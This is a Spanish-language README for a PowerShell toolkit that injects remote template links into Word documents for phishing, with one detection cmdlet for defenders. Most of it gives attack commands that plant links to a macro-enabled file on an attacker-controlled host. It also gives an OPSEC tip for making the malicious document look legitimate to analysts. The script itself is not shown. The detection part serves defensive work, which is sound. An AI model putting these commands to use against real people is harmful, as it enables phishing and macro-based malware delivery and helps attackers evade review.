
Kit de herramientas de PowerShell para ataques y defensa de inyección de plantillas remotas. Inserta enlaces maliciosos en documentos de Office Word para phishing, con módulos de identificación para blue teams.
Kit de Inyección de Plantillas Remotas
RTI-Toolkit es un kit de herramientas PowerShell de código abierto para el ataque de Inyección de Plantillas Remotas. Este kit incluye un script PowerShell llamado PS-Templator.ps1 que puede ser utilizado tanto desde una perspectiva ofensiva como defensiva.
La siguiente tabla presenta los módulos principales (cmdlets) de PS-Templator.ps1:
| Cmdlet | Descripción | Perspectiva |
|---|---|---|
| Invoke-Template | Implementa enlaces de plantillas remotas dentro de plantillas predeterminadas de Office Word | Ofensiva |
| Invoke-Regular | Implementa enlaces de plantillas remotas dentro de documentos normales de Office Word sin plantilla | Ofensiva |
| Invoke-Identify | Identifica enlaces de plantillas remotas dentro de documentos Office Word docx con/sin plantilla | Defensiva |
⚠️ PS-Templator.ps1 solo es compatible con archivos DOCX.
ℹ️ Esta herramienta está referenciada por el Instituto Nacional de Estándares y Tecnología (NIST) en la Base de Datos Nacional de Vulnerabilidades (NVD) en CVE-2025-65318 y CVE-2025-65319.
Esta herramienta está licenciada bajo la .
Un agradecimiento especial a mis amigos @Papadope9 y Stavros Gkounis (a.k.a purpl3ph03n1x), quienes brindaron una ayuda invaluable durante la fase de pruebas beta de la herramienta.
Esta herramienta fue inspirada durante una evaluación de Red Teaming de iCAST con @S1ckB0y1337 hace algunos años.
Supernova fue creada con ❤️ por @nickvourd.
La Inyección de Plantillas Remotas (RTI) en el contexto de Microsoft Office se refiere a un tipo específico de vulnerabilidad de seguridad que puede ser explotada a través de plantillas maliciosas en documentos de Office (por ejemplo, Word, Excel, PowerPoint).
Por ejemplo, en un archivo DOCX, el contenido se almacena en formato XML dentro del archivo comprimido, y algunos de estos archivos XML pueden hacer referencia a recursos o plantillas externas. Los atacantes pueden manipular estos archivos XML para insertar enlaces o contenido malicioso que potencialmente pueden explotar vulnerabilidades o engañar a los usuarios.
Este es un ataque basado en macros.
Para cargar PS-Templator.ps1 como un módulo en memoria, ejecute el siguiente comando:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 funciona sin necesidad de instalar dependencias adicionales.
ℹ️ PS-Templator.ps1 funciona como módulo de PowerShell.
ℹ️ PS-Templator.ps1 probado en una máquina Windows 10 con Office 2019 Professional Plus.
Invoke-Template es un cmdlet que implementa enlaces de plantillas remotas dentro de plantillas predeterminadas de Office Word.
Suponiendo que tiene una plantilla predeterminada de Word, como una de estas:

Guardada como, por ejemplo, 'Name.docx':

Si usa el cmdlet Invoke-Template puede insertar un enlace malicioso dentro de este docx:
⚠️ Antes de ejecutar Invoke-Template, asegúrese de guardar el documento y cerrarlo (finalizar su proceso).
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
Resultado:

Como puede ver, el módulo Invoke-Template mantiene una copia de seguridad del documento original y proporciona la ruta completa al documento malicioso.
Desde una perspectiva de depuración, si convierte el docx malicioso a un archivo zip y va a /word/_rels/settings.xml.rels, puede ver el enlace malicioso:

Invoke-Regular es un cmdlet que implementa enlaces de plantillas remotas dentro de documentos normales de Office Word sin plantillas.
Suponiendo que tiene un documento normal de Word sin plantilla, como este:

Guardado como, por ejemplo, 'Doc1.docx':

Si usa el cmdlet Invoke-Regular puede insertar un enlace malicioso dentro de este docx:
⚠️ Antes de ejecutar Invoke-Regular, asegúrese de guardar el documento y cerrarlo (finalizar su proceso).
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
Resultado:

Como puede ver, el módulo Invoke-Regular mantiene una copia de seguridad del documento original y proporciona la ruta completa al documento malicioso.
Desde una perspectiva de depuración, si convierte el docx malicioso a un archivo zip y va a /word/_rels/settings.xml.rels, puede ver el enlace malicioso:

Desde una perspectiva de OPSEC, puede usar -TemplateName junto con el módulo Invoke-Regular. Esto hará que su documento malicioso parezca más legítimo si alguien intenta analizarlo.
Aquí hay un ejemplo:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
Resultado:

Desde una perspectiva de depuración, si convierte el docx malicioso a un archivo zip y va a /docProps/app.xml, puede ver el nombre de plantilla falso:

Invoke-Identify es un cmdlet que identifica enlaces de plantillas remotas dentro de documentos Office Word docx con/sin plantilla.
Suponiendo que tiene un documento malicioso de Word:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
Resultado:

Suponiendo que tiene un documento de Word no malicioso:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
Resultado:
